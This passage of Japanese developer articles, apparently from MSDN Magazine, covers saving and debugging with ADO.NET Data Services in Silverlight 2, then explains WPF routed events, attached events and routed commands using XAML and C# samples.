TheContext.BeginSaveChanges(SaveChangesOptions.None,
                            new AsyncCallback(OnSaveAllComplete),
                            null);
BeginSaveChanges の発行時は、SaveChangesOptions というフラグ付き列挙体があります。この列挙体を使用して、バッチ処理を行うかどうか、および保存に失敗したオブジェクトがあっても続行するかどうかの 2 つのオプションを指定できます。通常は、常にバッチ処理を行うことをお勧めします。実際、サーバーで参照の整合性に特定の制約がある場合、一部の種類の親子関係では正常な更新のためにバッチ処理が要求されます。
保存が完了するとコールバックが実行されます。2 つのメカニズムによって、エラー情報が自動で伝達されます。まず、保存の実行時に例外がスローされると、コールバックで "EndSaveChanges" を呼び出したときにこの例外がスローされます。したがって、try/catch ブロックを使用して致命的なエラーをキャッチする必要があります。さらに、EndSaveChanges からの戻り値の型は DataServiceResponse オブジェクトです。DataServiceResponse には HasErrors プロパティ (図 9 を参照) がありますが、Silverlight 2 Beta 2 Version のライブラリではこの値は信頼できません。
図 9 BeginSaveChanges コールバック
void OnSaveAllComplete(IAsyncResult result)
{
  bool succeeded = true;
  try
  {
    DataServiceResponse response =
      (DataServiceResponse)TheContext.EndSaveChanges(result);

    foreach (OperationResponse opResponse in response)
    {
      if (opResponse.HasErrors)
      {
        succeeded = false;
      }
    }

  }
  catch (Exception ex)
  {
    succeeded = false;
  }

  // Alert the User
}
参考資料
  • Microsoft Silverlight サイト
  • Data Platform Development Center
  • JavaScript Object Notation
  • Atom
  • ライブ デモ
  • Fiddler2
  • 筆者のブログ
  • Silverlight ツアー
  • Data 2.0: Web サービスの世界でデータを公開および使用する
この値に依存する代わりに、実際の OperationResponse オブジェクト (DataServiceResponse は OperationResponse オブジェクトのコレクションです) を反復処理して、サーバーから返されるそれぞれの応答にエラーがあるかどうかをチェックできます。今後のバージョンでは、DataServiceResponse クラス自体の HasErrors プロパティを信頼できるはずです。

サービスをデバックする
サービスのデバッグでは、3 つの重要な処理を実行する必要があります。それらの処理とは、DataServiceContext オブジェクトのデータの状態の表示、ADO.NET Data Services による要求の表示、およびサーバー エラーのキャッチです。
最初に、DataServiceContext オブジェクトのエンティティの状態について説明しましょう。DataServiceContext クラスは Entities と Links という 2 つの便利なコレクションを公開します。これらのコレクションは、DataServiceContext が追跡するエンティティおよびエンティティ間のリンクの読み取り専用コレクションです。デバッグ時は、オブジェクトの変更をマークしているかどうかにかかわらず、変更追跡コードが正常に動作しているかどうかを判断するために、デバッガでこれらのコレクションを表示することが非常に役立ちます。
また、Silverlight 2 アプリケーションで行われている実際のサーバー要求を表示することも重要です。何らかの種類のネットワーク プロキシを使用するのが最善の方法です。筆者は Fiddler2 (fiddler2.com) を使用しています。Fiddler2 になじみのない読者のために説明すると、これは基本的に Web トラフィックの監視ツールであり、実際の通信内容を見ることができます。
ADO.NET Data Services の場合、実際の通信内容を見て Silverlight アプリケーションとの間で何が送受信されているかをチェックする必要があります。詳細については、筆者のブログ (wildermuth.com/2008/06/07/Debugging_ADO_NET_Data_Services_with_Fiddler2) を参照してください。
最後に、最新の .NET Framework 3.5 SP1 ではサーバー側のエラーがクライアントに有効に伝達されていません。実際、サーバーのほとんどのエラーはサーバーにより抑えられています。サーバー エラーをデバッグする最善の方法は、[デバッグ] メニューの [例外] オプション ([デバッグ] -> [例外]) を使用して、すべての .NET 例外で停止するようにデバッガを構成することです。このオプションを選択すると、サービスでスローされた例外を表示できます (ただし、他の初回の例外を通じて "続行" する必要がある場合があります)。

まとめ
この記事の目的は、ADO.NET Data Services が Silverlight 2 とサーバー ベースのモデルの間のゲートウェイとなるしくみを示すことです。手動で設計した Web サービスに頼らずに、ADO.NET Data Services を使用してサーバーのデータの読み取りおよび書き込みを行う方法が理解できたはずです。ご覧のように、Silverlight、ADO.NET Data Services、および LINQ を組み合わせて使用すると、Web 2.0 テクノロジのあらゆる利点を利用して強力なデータ駆動型 Web アプリケーションを構築できます。これらのテクノロジの詳細については、「参考資料」を参照してください。
Shawn Wildermuth は Microsoft MVP (C#) であり、Wildermuth Consulting Services の創立者でもあります。彼は数冊の著書と多数の記事を執筆しています。また、現在は各地で Silverlight 2 を教える Silverlight ツアーを実施しています。連絡先は shawn@wildermuthconsulting.com です。


高度な WPF
WPF におけるルーティング イベントとルーティング コマンドについて
Brian Noyes
コードのダウンロード : RoutedWPF2008_09a.exe (175 KB)
オンラインでのコードの参照

この記事では、次の内容について説明します。
  • イベントのルーティングとビジュアル ツリー
  • コマンドのルーティング
  • コマンドのルーティングに関する問題を回避する
  • ルーティング コマンドの先を行く
 この記事では、次のテクノロジを使用しています。
WPF
目次
ルーティング イベントの概要
WPF 要素のツリー
イベントのルーティング
ルーティング イベントと複合
アタッチされるイベント
ルーティング コマンドの概要
ルーティング コマンドの動作
コマンドのルーティング
コマンドを定義する
コマンドの組み込み
ルーティング コマンドに関する課題
コマンドの問題を回避する
ルーティング コマンドの先を行く
ルーティング ハンドラのサンプル
Windows® Presentation Foundation (WPF) の進歩に追いつこうとするとき、最大の試練の 1 つが、非常に多くの新しい構成要素を習得しなければならないということです。Microsoft® .NET Framework のプロパティやイベントなどは単純な要素ですが、WPF ではこれらに相当する要素にも新たな機能が追加されており、それに伴って複雑さも増しています (特に依存関係プロパティとルーティング イベント)。さらに、アニメーション、スタイル設定、コントロール テンプレート、ルーティング コマンドなど、まったく新しい要素もあります。学ぶべきことは山積みです。
この記事では、習得する必要のある新しい WPF 要素のうち、非常に重要な 2 つのアイテムについて重点的に説明します。これらのアイテム (ルーティング イベントとルーティング コマンド) は相互に関連しています。これらは、ユーザー インターフェイスのさまざまなパーツ間での対話の基盤となります。それらのパーツが 1 つの大きな Window クラスに含まれる個別のコントロールであるか、ユーザー インターフェイスの独立した別個のパーツに含まれるコントロールとそのサポート コードであるかは問いません。この記事の内容は、組み込みの WPF コントロールを使用し、UI のレイアウトを XAML で宣言して UI を構築する方法など、WPF の基本を理解していることを前提にしています。

ルーティング イベントの概要
WPF を使い始めたばかりの開発者は、無意識にルーティング イベントを使用していることがあります。たとえば、Visual Studio® デザイナでウィンドウにボタンを追加し、それに myButton という名前を付けたとします。ボタンをダブルクリックすると、Click イベントが XAML マークアップにフックされ、Click イベントのイベント ハンドラが Window クラスの分離コードに追加されます。このしくみは、Windows フォームおよび ASP.NET でのイベントのフックと変わりがないように思われるでしょう。確かに ASP.NET のコーディング モデルにも若干似ていますが、むしろ Windows フォームのランタイム モデルに近いモデルと言えます。具体的には、ボタンの XAML マークアップのコードは次のようになります。
<Button Name="myButton" Click="myButton_Click">Click Me</Button>
イベントをフックするための XAML 宣言は XAML でのプロパティの割り当てに似ていますが、イベント ハンドラを指定したオブジェクトでの通常のイベント フックアップとなります。このフックアップは、実際にはコンパイル時に生成されるウィンドウの部分クラスで行われます。それを確認するには、クラスのコンストラクタに移動し、InitializeComponent メソッドの呼び出しを右クリックします。次に、コンテキスト メニューから [定義へ移動] を選択します。通常はコンパイル時に生成されるコードが含まれる、生成済みのコード ファイル (名前付け規則により、.i.g.cs または .i.g.vb が使用されています) がエディタに表示されます。表示された部分クラスを Connect メソッドまで下方向にスクロールし、次の部分を確認してください。
#line 6 "..\..\Window1.xaml"
this.myButton.Click +=
  new System.Windows.RoutedEventHandler(
  this.myButton_Click);
この部分クラスはコンパイル時に XAML から生成され、デザイン時にコンパイルする必要のある XAML の要素が含まれます。XAML のほとんどはコンパイル済みのアセンブリにバイナリ リソースとして埋め込まれ、実行時にマークアップのバイナリ表現のコンパイル済みコードとマージされます。
ウィンドウの分離コードを見ると、Click ハンドラは次のようになっています。
private void myButton_Click(
  object sender, RoutedEventArgs e) { }
ここまでのところ、イベント フックアップは他の .NET イベント フックアップとよく似ています。つまり、オブジェクト上のイベントにフックされたデリゲートが明示的に宣言されており、そのデリゲートは処理メソッドをポイントしています。使用しているのがルーティング イベントであることを示しているのは、Click イベントのイベント引数の型 (RoutedEventArgs) だけです。それでは、ルーティング イベントのどのような点がそれほど特殊なのでしょうか。それを理解するには、まず WPF の要素の構成モデルについて理解する必要があります。

WPF 要素のツリー
プロジェクトでウィンドウを新たに作成し、デザイナでボタンをウィンドウにドラッグすると、XAML の要素ツリーは次のような構造になります (わかりやすいように属性は省略しています)。
<Window>
  <Grid>
    <Button/>
  </Grid>
</Window>
これらの各要素は対応する .NET 型のランタイム インスタンスを表し、宣言された要素の階層は論理ツリーと呼ばれる構造になります。また、WPF の多くのコントロールは ContentControls と ItemsControls のどちらかなので、子要素を持つことができます。たとえば、Button は ContentControl なので、複雑な子要素をコンテンツとして含めることができます。論理ツリーは次のように拡張できます。
<Window>
  <Grid>
    <Button>
      <StackPanel>
        <Image/>
        <TextBlock/>
      </StackPanel>
    </Button>
  </Grid>
</Window>
このツリーは、図 1 に示すような UI になります。
図 1 ボタン コンテンツを持つシンプルなウィンドウ
ご想像どおり、ツリーはこの後さまざまな形にカスタマイズできます (Grid に別の Button を含めるなど)。それに伴って、論理ツリーは大幅に複雑化する可能性があります。論理ツリーの WPF 要素に関して理解しておかなければならないのは、現在の構造は実行時に別の形になるということです。通常、それらの各要素は、実行時により複雑なビジュアル要素ツリーに展開されます。この例では、要素の論理ツリーは図 2 に示す要素のビジュアル ツリーに展開されます。
図 2 シンプルなウィンドウのビジュアル ツリー
私は、図 2 に示すビジュアル ツリーの要素を確認するために、Snoop (blois.us/Snoop) というツールを使用しました。ウィンドウ (EventsWindow) のコンテンツは実際には Border と AdornerDecorator にラップされており、その内部のコンテンツは ContentPresenter によって表示されていることがわかります。ボタンも同様で、ボタンのコンテンツは ButtonChrome オブジェクトにラップされており、コンテンツは ContentPresenter によって表示されます。
ボタンをクリックするとき、実際にクリックしているのは Button 要素ではなくビジュアル ツリーの子要素であることもあります。この要素は、ButtonChrome など、上記の論理ツリーには含まれていない要素である場合もあります。たとえば、ボタン内のイメージ上でマウスをクリックするとします。当初、クリック イベントは Image 要素内の MouseLeftButtonDown イベントとして生成されますが、何らかの方法で Button レベルの Click イベントに変換されなければなりません。ここで役立つのが、ルーティング イベントのルーティング機能です。

イベントのルーティング
ルーティング イベントは主にビジュアル ツリーに基づいてルーティングされるため、論理ツリーとビジュアル ツリーについて多少の知識を持っていることが重要です。ルーティング イベントは、Bubble、Tunnel、Direct の RoutingStrategy をサポートしています。
最も一般的なのが Bubble です。イベントは、処理されるまで、またはビジュアル ツリーのルート要素に到達するまで、ソース要素からバブルアップ (伝播) されます。これにより、オブジェクト上のイベントをソース要素よりも上の階層で処理できるようになります。たとえば、Button.Click ハンドラをボタン自体に直接アタッチする代わりに、ボタンを囲む Grid 要素にアタッチできます。Bubble イベントの名前は、そのアクションを表しています (MouseDown など)。
Tunnel イベントは、処理されるまで、またはイベントのソース要素に到達するまで、逆の方向に (ルート要素から要素ツリーの下方向に) ルーティングされます。これにより、上層の要素でイベントをインターセプトし、ソース要素にイベントが到達する前に処理することができます。Tunnel イベントの名前には、原則として Preview というプレフィックスが付きます (PreviewMouseDown など)。
Direct イベントの動作は、.NET Framework の通常のイベントと同様です。イベントのハンドラとして使用できるのは、イベントにフックされるデリゲートだけです。
Tunnel イベントが特定のイベントに対して定義されている場合、通常は対応する Bubble イベントが存在します。その場合、Tunnel イベントが最初に発生し、ハンドラを見つけるためにルート要素からソース要素に向かって下方向にルーティングされます。Tunnel イベントが処理されるか、ソース要素に到達すると、Bubble イベントが発生し、ハンドラを見つけるためにソース要素から上方向にルーティングされます。Bubble イベントまたは Tunnel イベントのルーティングは、イベント ハンドラが呼び出されただけでは停止しません。バブリング プロセスまたはトンネリング プロセスを停止するには、渡されるイベント引数を使用して、イベント ハンドラでイベントに処理済みとしてマークする必要があります。
private void OnChildElementMouseDown(object sender,
  MouseButtonEventArgs e) {
  e.Handled = true;
}
ハンドラによって処理済みとしてマークされたイベントは、他のハンドラに渡されることはありません。ただし、例外もあります。実際にはイベントのルーティングは背後で続いているため、UIElement.AddHandler メソッドのオーバーライドでコードにイベント ハンドラを明示的にフックできます。この UIElement.AddHandler メソッドには、イベントが処理済みとしてマークされていてもハンドラが呼び出されるように指定できる追加のフラグがあります。そのフラグは、次のような呼び出しで指定します。
m_SomeChildElement.AddHandler(UIElement.MouseDownEvent,
  (RoutedEventHandler)OnMouseDownCallMeAlways,true);
AddHandler の最初のパラメータは、処理対象の RoutedEvent です。2 番目のパラメータは、イベント処理メソッド (イベントのデリゲートの適切なシグネチャが必要) へのデリゲートです。3 番目のパラメータでは、別のハンドラによってイベントが処理済みとしてマークされている場合も通知が行われるようにするかどうかを指定します。AddHandler は、ルーティング中にイベントのフローを監視する要素で呼び出します。

ルーティング イベントと複合
ここからは、Button.Click イベントの発生のしくみについて説明し、それがなぜ重要なのかを明らかにします。既に説明したように、Click イベントは、Button のビジュアル ツリーに含まれている子要素 (前述の例の Image など) 上の MouseLeftButtonDown イベントを元に生成されます。
MouseLeftButtonDown イベントが Image 要素内で発生すると、PreviewMouseLeftButtonDown イベントがルートから Image まで下方向にルーティングされます。ハンドラによってプレビュー イベントの Handled フラグが true に設定されなかった場合は、MouseLeftButtonDown イベントは Image 要素から Button までバブルアップされます。ボタンはそのイベントを処理し、Handled フラグを true に設定します。そしてボタン自体の Click イベントを生成します。このプロセスを視覚化できるように、この記事のサンプル コードにはルーティング チェーン全体でハンドラをフックしたアプリケーションが含まれています。
こうしたしくみには非常に重要な意味があります。たとえば、Ellipse 要素の含まれるコントロール テンプレートを適用して既定のボタンの外観を置き換えた場合、Ellipse の外部がクリックされたときに Click イベントが発生しないように、何か特別な処理を行う必要はありません。Ellipse の境界線のすぐ外側をクリックすると、ボタンの長方形の境界線内でクリックしたことになります。Ellipse 自体は MouseLeftButtonDown を検出できますが、ボタンの境界線と Ellipse の間の何もない部分ではこのイベントを検出できません。
そのため、Ellipse の内部をクリックした場合にのみ MouseLeftButtonDown イベントが発生します。このイベントはテンプレートがアタッチされている Button クラスによって引き続き処理されるので、カスタマイズされているボタンの動作も予測可能です。この概念は、独自のカスタム複合コントロールを記述する際にもきわめて重要です。コントロール内部に配置された子要素のイベントを処理するために Button で行っているような処理は、さまざまな場面で必要になるためです。

アタッチされるイベント
ある要素で宣言されているイベントを別の要素でも処理できるように、WPF はアタッチされるイベントと呼ばれるイベントをサポートしています。アタッチされるイベントは、イベントが宣言されている型以外の要素の XAML におけるフックアップをサポートするルーティング イベントです。たとえば、Grid 要素で Button.Click イベントをリッスンしてバブルアップするには、単純に次のようにフックします。
<Grid Button.Click="myButton_Click">
  <Button Name="myButton" >Click Me</Button>
</Grid>
この場合、コンパイル時に生成される部分クラスのコードは次のようになります。
#line 5 "..\..\Window1.xaml"
((System.Windows.Controls.Grid)(target)).AddHandler(
System.Windows.Controls.Primitives.ButtonBase.ClickEvent,
new System.Windows.RoutedEventHandler(this.myButton_Click));
アタッチされるイベントを使用することで、イベント ハンドラをフックする場所をいくらか柔軟に指定できるようになります。ただし、この例のように要素が同じクラスに含まれている場合は、どのような違いが生じるかがはっきりしない可能性もあります。どちらの場合も処理メソッドは Window クラス上のメソッドであるためです。
アタッチされるイベントについては、2 つの点に気を付ける必要があります。1 つ目は、イベント ハンドラはバブリングまたはトンネリング要素チェーンにおける処理要素の位置に基づいて呼び出されるという点です。2 つ目は、使用しているコントロールの内部にカプセル化されているオブジェクトからのイベントの処理が可能になるという点です。たとえば、Grid で Button.Click などのイベントを処理できますが、それらの Button.Click イベントは、ウィンドウに含まれるユーザー コントロールの内部からバブルアウトされている可能性があります。
ヒント : イベント ハンドラの名前付け
イベント ハンドラの既定の名前付け規則 (objectName_eventName) で面倒な思いをしたくない場合は、単純に目的のイベント ハンドラ名を入力してください。次にそれを右クリックし、コンテキスト メニューで [イベント ハンドラへ移動] をクリックします。Visual Studio によって、指定した名前のイベント ハンドラが生成されます。
Visual Studio 2008 SP1 の [プロパティ] ウィンドウには、Windows フォームにあるのと同じようなイベント ビューがあります。SP1 をインストールすると、このイベント ビューでイベント名を指定できるようになります。ただし、既に XAML に慣れている場合は、明示的に名前の付けられたハンドラを XAML を使用して簡単に生成することができます。
イベント ハンドラを生成する (クリックすると拡大画像が表示されます)
あらゆるイベントがアタッチされるイベントとして宣言されるわけではありません。事実、アタッチされるイベントとして宣言されるイベントはごくわずかです。ただし、アタッチされるイベントは、コントロールのソース以外の場所でイベント処理を行う必要がある場合に非常に便利です。

ルーティング コマンドの概要
ルーティング イベントについて理解したところで、ルーティング コマンドに進みましょう。WPF ルーティング コマンドは、繰り返し使用される多数の密結合コードをアプリケーションに組み込むことなく、ツール バー ボタンやメニュー項目などの UI コントロールをハンドラにフックするための特殊なメカニズムを提供します。ルーティング コマンドには、通常のイベント処理に加えて、3 つの主要な特徴があります。
  • ルーティング コマンドのソース要素 (呼び出し元) とコマンド ターゲット (ハンドラ) とを切り離すことができます。つまり、イベント ハンドラで双方がリンクされている場合には必要となる直接参照が、ここでは不要になります。
  • ハンドラによってコマンドが無効であることが示されると、ルーティング コマンドは関連付けられているすべての UI コントロールを自動的に有効または無効にします。
  • ルーティング コマンドを使用すると、キーボード ショートカットやその他の形の入力ジェスチャ (インク ジェスチャなど) を、コマンドを呼び出すための新たな方法として関連付けることができます。
さらに、ルーティング コマンドに特徴的な RoutedUICommand クラスでは、コマンドの呼び出し元であるコントロールのテキスト表示に使用される、単一の Text プロパティを定義できます。Text プロパティのローカライズは、関連付けられている各呼び出し元コントロールへのアクセスよりも簡単です。
呼び出し元でコマンドを宣言するには、単純に、コマンドを呼び出すコントロールで Command プロパティを設定します。
<Button Command="ApplicationCommands.Save">Save</Button>
Command プロパティは、MenuItem、Button、RadioButton、CheckBox、Hyperlink、およびその他多数のコントロールでサポートされています。
コマンド ハンドラとして動作させる要素に CommandBinding を設定してください。
<UserControl ...>
  <UserControl.CommandBindings>
    <CommandBinding Command="ApplicationCommands.Save"
      CanExecute="OnCanExecute" Executed="OnExecute"/>
  </UserControl.CommandBindings>
  ...
</UserControl>
コマンド バインディングの CanExecute プロパティと Executed プロパティは、コマンド処理プロセス中に呼び出されるメソッド (宣言するクラスの分離コードに含まれる) をポイントしています。ここで重要なのは、コマンドの呼び出し元でコマンド ハンドラへの認識、つまりコマンド ハンドラへの参照を行う必要がないこと、そして、どのコマンドを呼び出すかをハンドラで認識しなくてもよいということです。
CanExecute は、コマンドを有効にするかどうかを決定するために呼び出されます。コマンドを有効にするには、次に示すようにイベント引数の CanExecute プロパティを true に設定します。
private void OnCanExecute(object sender,
  CanExecuteRoutedEventArgs e) {
  e.CanExecute = true;
}
また、Executed メソッドが定義済みで CanExecute メソッドを含まないコマンド ハンドラが存在する場合にも、コマンドは有効になります (その場合、CanExecute は暗黙的に true)。Executed メソッドは、呼び出されるコマンドに基づいて適切な操作を受け取ります。これには、ドキュメントの保存、注文の送信、電子メールの送信など、コマンドが関連付けられている操作が含まれます。

ルーティング コマンドの動作
ルーティング コマンドの動作をより明確にし、そのメリットを簡単に理解できるように、単純な例を挙げて説明します。図 3 に、2 つの入力用テキスト ボックスと、テキスト ボックス内のテキストに対して Cut (切り取り) 操作を実行するためのツール バー ボタンを備えた、シンプルな UI を示します。
図 3 Cut (切り取り) コマンド ツール バー ボタンを備えたシンプルなアプリケーション
イベントを使用してこれをフックするには、ツール バー ボタンの Click ハンドラを定義する必要があります。また、そのコードには 2 つのテキスト ボックスへの参照が必要です。どちらのテキスト ボックスにフォーカスがあるかを特定し、コントロール内で選択されたテキストに基づいて適切なクリップボード操作を呼び出す必要があります。さらに、フォーカスのある場所や、テキスト ボックスでテキストが選択されているかどうかに基づいて、ツール バー ボタンを適切なタイミングで有効および無効にすることも考慮しなければなりません。これらを実現するには、わかりづらく煩雑な密結合コードが必要になります。
このようなシンプルなフォームの場合はそれほど面倒には思えませんが、対象のテキスト ボックスがユーザー コントロールまたはカスタム コントロールの内部にあり、ウィンドウの分離コードがそれらに直接アクセスできない場合はどうしたらよいでしょうか。ユーザー コントロールの境界で API を公開してコンテナから要素をフックできるようにするか、テキスト ボックスをパブリックに公開する必要があります。しかし、どちらのアプローチも理想的とは言えません。
コマンドを使用すれば、ツール バー ボタンの Command プロパティを WPF で定義されている Cut コマンドに設定するだけで済みます。これで作業は完了です。
<ToolBar DockPanel.Dock="Top" Height="25">
  <Button Command="ApplicationCommands.Cut">
    <Image Source="cut.png"/>
  </Button>
</ToolBar>
これでアプリケーションを実行できるようになりました。ツール バー ボタンは当初は無効になっていることがわかります。どちらかのテキスト ボックスでテキストを選択すると、ツール バー ボタンが有効になります。そのボタンをクリックすると、実際にテキストが切り取られ、クリップボードにコピーされます。UI のどの部分に位置するテキスト ボックスでも、同様の動作が可能です。なかなか良いと思いませんか。
TextBox クラスの実装には Cut コマンドのコマンド バインディングが組み込まれていて、そのコマンドのクリップボード処理が自動的にカプセル化されています (Copy や Paste の場合も同様)。それでは、フォーカスのあるテキスト ボックスだけでコマンドが呼び出されるようにするにはどうすればよいでしょうか。また、コマンドの処理を指示するメッセージはどのような方法でテキスト ボックスに伝達すればよいのでしょうか。ここで活躍するのが、ルーティング コマンドのルーティング機能です。

コマンドのルーティング
ルーティング コマンドとルーティング イベントの違いは、コマンドの呼び出し元からコマンド ハンドラへのコマンドのルーティング方法にあります。具体的に言うと、ルーティング イベントは、(ビジュアル ツリーにフックされたコマンド バインディングを通じて) メッセージをコマンドの呼び出し元とコマンド ハンドラの間でルーティングするために背後で使用されます。
この場合、多対多のリレーションシップが存在する可能性もありますが、ある時点で実際にアクティブなコマンド ハンドラは 1 つだけです。アクティブなコマンド ハンドラは、コマンドの呼び出し元とコマンド ハンドラがビジュアル ツリーのどこにあるか、およびフォーカスが UI のどの部分にあるかによって特定されます。ルーティング イベントにより、アクティブなコマンド ハンドラを呼び出してコマンドを有効にするかどうかをたずねると共に、コマンド ハンドラの Executed メソッドのハンドラを呼び出します。
通常、コマンドの呼び出し元は、ビジュアル ツリーにおけるそれ自体の位置とビジュアル ツリーのルートの間でコマンド バインディングを探します。コマンド バインディングが見つかった場合、バインドされているコマンド ハンドラは、コマンドが有効であるかどうかを判断し、コマンドが呼び出されたときに呼び出されます。コマンドがツール バーまたはメニュー内 (より一般的に言うと、FocusManager.IsFocusScope を true に設定するコンテナ) のコントロールにフックされている場合は、追加のロジックが実行され、そのロジックがビジュアル ツリー パスのルートからフォーカス要素に向かってコマンド バインディングを探します。
図 3 のシンプルなアプリケーションの場合、Cut (切り取り) コマンド ボタンはツール バーに配置されているため、CanExecute と Execute はフォーカスのある TextBox インスタンスによって処理されます。図 3 のテキスト ボックスがユーザー コントロール内に配置されている場合は、ウィンドウ、Grid を含むユーザー コントロール、テキスト ボックスを含む Grid、または個別のテキスト ボックスにコマンド バインディングを設定できます。どのテキスト ボックスにフォーカスがあるかによって、ルートを起点とするフォーカス パスの終了位置が決まります。
WPF のルーティング コマンドのルーティングについて理解するうえで重要なのは、1 つのコマンド ハンドラが呼び出されたら、その他のハンドラは呼び出されないということです。そのため、ユーザー コントロールで CanExecute メソッドを処理する場合は、TextBox の CanExecute の実装は呼び出されません。

コマンドを定義する
ApplicationCommands.Save コマンドと ApplicationCommands.Cut コマンドは、WPF が提供する数多くのコマンドのうちの 2 つです。WPF の 5 つの組み込みコマンド クラスとそれらに含まれるコマンドの一部を図 4 に示します。
図 4 WPF のコマンド クラス
コマンド クラス | コマンドの例
ApplicationCommands | Close、Cut、Copy、Paste、Save、Print
NavigationCommands | BrowseForward、BrowseBack、Zoom、Search
EditingCommands | AlignXXX、MoveXXX、SelectXXX
MediaCommands | Play、Pause、NextTrack、IncreaseVolume、Record、Stop
ComponentCommands | MoveXXX、SelectXXX、ScrollXXX、ExtendSelectionXXX
XXX は、MoveNext、MovePrevious などの操作のコレクションを示します。各クラスのコマンドはパブリックな静的プロパティ (Visual Basic® の Shared プロパティ) として定義されているため、簡単にフックできます。独自のカスタム コマンドも同じアプローチで簡単に定義することができます。その例は後で示します。
これらのコマンドは、次のような簡便な表記法で使用することもできます。
<Button Command="Save">Save</Button>
この短縮バージョンを使用した場合、WPF の型変換によって組み込みコマンドのコレクションに対して名前付きコマンドの検索が試行されます。最終的にはこの場合もまったく同じ結果になります。私自身は、コードをわかりやすく、保守しやすくするために、長い名前のバージョンを使うようにしています。そうすると、そのコマンドがどこに定義されているかもはっきりします。これらは組み込みコマンドですが、EditingCommands クラスと ComponentCommands クラスで一部が重複しています。

コマンドの組み込み
ルーティング コマンドは、WPF で定義されている ICommand インターフェイスの特殊な実装です。ICommand の定義は次のとおりです。
public interface ICommand {
    event EventHandler CanExecuteChanged;
    bool CanExecute(object parameter);
    void Execute(object parameter);
  }
組み込みの WPF コマンド型は、RoutedCommand と RoutedUICommand です。これらのクラスはどちらも ICommand インターフェイスを実装し、前述のルーティング イベントを使用してルーティングを行います。
コマンドの呼び出し元は CanExecute を呼び出し、関連付けられているコマンド呼び出しコードを有効にするか、無効にするかを決定します。コマンドの呼び出し元は、CanExecuteChanged イベントをサブスクライブすることで、メソッドを呼び出すタイミングを判断します。RoutedCommand クラスの CanExecuteChanged は、UI の状態またはフォーカスの変化に応じて発生します。コマンドが呼び出されると、Executed メソッドが呼び出され、ビジュアル ツリーに沿ってルーティングされるルーティング イベントを通じてハンドラにディスパッチされます。
Command プロパティをサポートするクラス (ButtonBase クラスなど) は、ICommandSource インターフェイスを実装します。
public interface ICommandSource {
  ICommand Command { get; }
  object CommandParameter { get; }
  IInputElement CommandTarget { get; }
}
Command プロパティは、呼び出し元とその呼び出し元が呼び出すコマンドを関連付けます。CommandParameter によって、呼び出し元はコマンドの呼び出しと共にデータを渡せるようになります。CommandTarget プロパティを使用すると、フォーカス パスに基づいて既定のルーティングをオーバーライドし、指定した要素をコマンドのハンドラとして使用するようにコマンド実行システムに指示できます。したがって、ルーティング イベントや、フォーカスに基づいたコマンド ハンドラの特定に頼らなくても済みます。

ルーティング コマンドに関する課題
ルーティング コマンドは、シンプルなユーザー インターフェイスのシナリオ、ツール バーおよびメニュー項目のフック、必然的にキーボード フォーカスと連動するアクション (クリップボード操作など) の処理に役立ちます。ただし、複雑なユーザー インターフェイスを構築する場合、コマンド処理ロジックがビュー定義のサポート コードに含まれている場合、コマンドの呼び出し元が必ずしもツール バーまたはメニューに含まれるとは限らない場合は、ルーティング コマンドでは力不足です。こうした状況は、Model View Controller (MVC (msdn.microsoft.com/magazine/cc337884))、Model View Presenter (MVP (msdn.microsoft.com/magazine/cc188690))、WPF のコミュニティで Model View ViewModel とも呼ばれているプレゼンテーション モデル (msdn.microsoft.com/library/cc707885) などの UI 構成パターンを使用する際によく生じます。
この領域に踏み込んだ際に問題となるのは、コマンドの有効化ロジックと処理ロジックがビジュアル ツリーに直接含まれておらず、プレゼンタ モデルまたはプレゼンテーション モデルに含まれている場合があるということです。また、コマンドを有効にするかどうかを決める状態は、ビジュアル ツリーにおけるコマンドの呼び出し元およびビューの位置とは関係がない可能性もあります。ある時点で特定のコマンドに対して有効なハンドラが複数存在するようなシナリオも考えられます。
どのような場面でルーティング コマンドに関する問題が生じるのかを図 5 を使用して説明します。このシンプルなウィンドウには、1 組のユーザー コントロールが含まれています。これらは、MVP または MVC パターンのビューです。メイン ウィンドウには、[Save] (保存) コマンドの含まれる [File] (ファイル) メニューとツール バーがあります。メイン ウィンドウの上部には、入力用テキスト ボックスと、Command が Save コマンドに設定されているボタンもあります。
図 5 複合ユーザー インターフェイス (クリックすると拡大画像が表示されます)
ヒント : 匿名メソッドをフックする
図 6 のコードでは、同僚の Juval Lowy から学んだテクニックを使用して、空の匿名メソッドを宣言内のデリゲートにフックしています。
Action<string> m_ExecuteTargets = delegate { };
これにより、デリゲートを呼び出す前に null かどうかをチェックする必要がなくなります。何も行わないサブスクライバがその呼び出しリストに必ず含まれるようになるためです。null チェックを行う場合には、アンサブスクライブすることでマルチスレッド環境における競合状態を回避することもできます。
上記のテクニックの詳細については、Juval Lowy の『Programming .NET Components, Second Edition』を参照してください。
残りの UI は 2 つのビューによって提供されます。これらのビューは、それぞれがシンプルなユーザー コントロールのインスタンスです。各ユーザー コントロール インスタンスが UI のどの部分を提供しているかをわかりやすくするため、ユーザー コントロール インスタンスの境界線にはぞれぞれ異なる色が設定されています。各ユーザー コントロール インスタンスには、Command プロパティが Save コマンドに設定されている [Save] (保存) ボタンがあります。
ビジュアル ツリーでの位置に深く関係するルーティング コマンドに伴う課題は、このシンプルな例で明らかにできます。図 5 のウィンドウ自体には、Save コマンドの CommandBinding はありません。ただし、そのコマンドの 2 つの呼び出し元 (メニューとツール バー) が含まれています。この場合、トップレベル ウィンドウには、コマンドが呼び出された際に実行する処理を把握させる必要はありません。コマンドの処理は、ユーザー コントロールで表される子のビューに任せます。この例のユーザー コントロール クラスには Save コマンドの CommandBinding があり、その CommandBinding は CanExecute = true を返します。
ただし、図 5 では、フォーカスがウィンドウ レベルの上部テキスト ボックスにあるとき、そのレベルのコマンドの呼び出し元が無効になっていることにお気付きでしょう。また、フォーカスがユーザー コントロール内にないのに、そのユーザー コントロールの [Save] (保存) ボタンが有効になっています。
一方のユーザー コントロール インスタンス内のどちらかのテキスト ボックスにフォーカスを移すと、メニューとツール バーのコマンド呼び出し元が有効になります。ただし、ウィンドウ自体にある [Save] (保存) ボタンは有効になりません。実際にこの場合は、ウィンドウ上部のテキスト ボックスの横にある [Save] (保存) ボタンを通常のルーティングで有効にする手立てはありません。
その理由は、やはり個別のコントロールの位置にあります。コマンド ハンドラがウィンドウ レベルになく、フォーカスがユーザー コントロールの外部にある間、コマンドの呼び出し元としてフックされているコントロールを有効にするコマンド ハンドラは、ビジュアル ツリーの上層にもフォーカス パス上にも存在しません。したがって、それらのコントロールのコマンドは既定で無効になります。一方、ユーザー コントロール内のコマンドの呼び出し元はどうかというと、ビジュアル ツリーの上層にハンドラがあるため、コマンドは有効になります。
